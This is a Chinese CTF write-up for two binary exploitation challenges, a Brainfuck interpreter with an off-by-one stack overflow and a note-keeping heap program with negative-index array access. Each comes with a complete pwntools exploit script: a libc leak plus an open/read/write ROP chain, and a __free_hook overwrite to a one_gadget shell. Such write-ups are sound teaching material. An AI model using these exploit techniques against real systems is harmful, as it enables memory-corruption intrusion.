bf
1 程序分析
题目是一个brainfuck的解释器,给的libc是2.27。brainfuck是一种简单的、可以用最小的编译器来实现的、符合图灵完全思想的编程语言。这种语言由八种运算符构成,除了指令还包括:一个以字节为单位、被初始化为零的数组、一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流。
字符 | 含义 |
---|---|
> |
指针加一 |
< |
指针减一 |
+ |
指针指向的字节的值加一 |
- |
指针指向的字节的值减一 |
. |
输出指针指向的单元内容(ASCII码) |
, |
输入内容到指针指向的单元(ASCII码) |
[ |
如果指针指向的单元值为零,向后跳转到对应的] 指令的次一指令处 |
] |
如果指针指向的单元值不为零,向前跳转到对应的[ 指令的次一指令处 |
题目逻辑是输入一段brainfuck代码,首先检查代码的语法正确与否,并在遇到[
和]
的时候分配堆空间保存其位置信息。
然后程序开始解释执行brainfuck代码。发现漏洞点在于,解释>
时,检查的是v21 > &str
。
这里 v21
是指向数组的指针
,str
是指向输入的brainfuck代码,是C++的string类,stack
是被初始化为零的数组
,位于栈上大小为0x400。查看栈变量可以看到, &str
就在 &stack
的后面。检查的是v21 > &str
,说明 v21
可以和 &str
相等,也就是说能够溢出一字节到 str
,控制一字节代码的位置。
验证一下,输入'>'*0x400+'.’
,果然能够输出 str
的最低一字节。
这里还有一个点,是string的混合内存优化策略:如果输入的代码长度小于等于15,那么string 的 raw data分配是在栈上的,如果代码长度大于15,那么raw data 就会被存在堆上。
部分源码如下:
2 漏洞利用
很明显在栈上构造利用链更容易,所以需要先构造一个短的、能右移0x400次的brainfuck代码,想到使用[]
构造循环如下:
+[>+],
这样循环0x400次的时候,str基址会+1,就会跳过]
执行,
输入一个字节,这样就能控制str的最后一个字节了。接下来就可以很容易地通过控制这一字节泄露libc、修改返回地址。这里本来想直接修改返回地址到shell,但是程序开启了seccomp保护,限制了只能执行下面这几个函数。
虽然无法getshell了,但是可以构造orw rop链,完整exp如下:
#libc 2.27
from pwn import*
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
binary='./bf.dms'
elf=ELF(binary)
debug=1
if debug:
io=process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget=[0x4f2c5 ,0x4f322 ,0x10a38c,0xe569f ,0xe5858,0xe585f,0xe5863,0x10a398]
else:
io = remote("124.156.135.103",6002)
libc=ELF('./libc.so')
gadget=[324293, 324386, 1090444]
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)
ru('enter your code:')
payload='[]'
sl(payload)
ru('want to continue?')
"""
payload="+[>+]"+',.'
payload='y'+payload
sl(payload)
ru('running....\n')
s('\xc0')
ru('done! your code: ')
stack=u64(r(6).ljust(8,b'\x00'))-0x520
print(hex(stack))
ru('want to continue?')
"""
#leak libc
payload="+[>+],."
payload='y'+payload
sl(payload)
ru('running....\n')
s('\xd8')
ru('done! your code: ')
libc.address=u64(r(6).ljust(8,b'\x00'))-0x21b97
print(hex(libc.address))
ru('want to continue?')
"""
0x00000000000439c8 : pop rax ; ret
0x000000000002155f : pop rdi ; ret
0x0000000000023e6a : pop rsi ; ret
0x0000000000001b96 : pop rdx ; ret///
0x00000000001306d9 : pop rdx ; pop rsi ; ret
"""
rax_ret=libc.address+0x00000000000439c8
rdi_ret=libc.address+0x000000000002155f
rsi_ret=libc.address+0x0000000000023e6a
rdx_rsi_ret=libc.address+0x00000000001306d9
libc_bss=libc.address+ 0x3ebb40 #_IO_stdin_2_1和malloc_hook之间 libc可写
libc_bss1=libc_bss-0x10
#orw rop
#read(fd=0,buf=libc_bss1,size=0x20)
payload=b""
payload += p64(rdi_ret) + p64(0x0)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss1)
payload += p64(libc.symbols['read'])
# open(filename=libc_bss1, flags=0, mode=0)
#flag=2权限不足
payload += p64(rdi_ret) + p64(libc_bss1)
payload += p64(rdx_rsi_ret) + p64(0)+p64(0x0)
payload += p64(libc.symbols['open'])
"""
#syscall写法
payload += p64(rax_ret) + p64(0x101)
payload += p64(rdi_ret) + p64(0xffffff9c)
payload += p64(rdx_rsi_ret) + p64(2)+p64(libc_bss)
payload += p64(libc.address +0x10fd17)
"""
# read(fd=3,buf=libc_bss, size=0x20)
payload += p64(rdi_ret) + p64(0x3)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss)
payload += p64(libc.symbols['read'])
# write(fd=1,buf= libc_bss, size=0x20)
payload += p64(rdi_ret) + p64(0x1)
payload += p64(rdx_rsi_ret) + p64(0x20)+p64(libc_bss)
payload += p64(libc.symbols['write'])
payload +=b"\x00\x00\x00+[>+],."#将str改回原值,否则报错
payload=b'y'+payload
sl(payload)
ru('running....\n')
s('\xa0\xa0')
ru('want to continue?')
sl('n/flag\x00')
io.interactive()
本地是关了aslr调的,跑远程还得爆破一下,拿到flag。
note
1 程序分析
常规堆题,由于编译优化,反汇编的结果比较混乱。看汇编代码可以看到下面有switch逻辑,共7个选项。
目录里却说只有五个。
伪代码里则完全没体现出来switch的逻辑。
所以被隐藏的两个功能很可能有漏洞,这里发现fun7可以在数组中写addr和size,并且size大小是size+0x20。配合edit功能就可以向addr里写0x20+字节。
结构体信息如下:
00000000 info struc ; (sizeof=0x18, mappedto_6)
00000000 addr dq ?
00000008 size dq ?
00000010 price dq ?
00000018 info ends
bss内存结构如下:
此外所有功能都有数组越界问题,只检查上界不检查下界,v1可以是负数。
2 漏洞利用
利用数组越界漏洞,泄露stdout的内容,得到libc基址,再使用fun7在bss段上设置addr和size,将addr设置为free_hook,通过edit将free_hook改为onegadget即可得到shell。
from pwn import*
#libc 2.29
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
binary='./note.dms'
elf=ELF(binary)
debug=1
if debug:
io=process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
gadget=[945043, 945046 ,945049 ,1093545]
else:
io = remote("124.156.135.103",6004)
libc=ELF('./libc.so.6')
gadget=[926591, 926595 ,926598 ,1076984]
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)
def new(idx,size):
ru('Choice: ')
sl('1')
ru('Index: ')
sl(str(idx))
ru('Size: ')
sl(str(size))
def sell(idx):
ru('Choice: ')
sl('2')
ru('Index: ')
sl(str(idx))
def show(idx):
ru('Choice: ')
sl('3')
ru('Index: ')
sl(str(idx))
def edit(idx,mess):
ru('Choice: ')
sl('4')
ru('Index: ')#(idx 12)
sl(str(idx))
ru('Message: ')
s(mess)
def fun7(idx,mess):
ru('Choice: ')
sl('7')
ru('Index: ')#(idx 12)
sl(str(idx))
ru('Message: ')
s(mess)
def fun6(supe):
ru('Choice: ')
sl('6')
ru('Give a super name: \n')
sl(supe)
show(-5)
bss=u64(r(8))+0x78
print(hex(bss))
r(16)
libc.address=u64(r(8))-libc.symbols['_IO_2_1_stdout_']
print(hex(libc.address))
fun7(-5,p64(libc.symbols['__free_hook'])+p64(0x8)+p64(1))
edit(-5,p64(libc.address+gadget[3]))
sell(0)
#gdb.attach(io)
io.interactive()
成功拿到shell。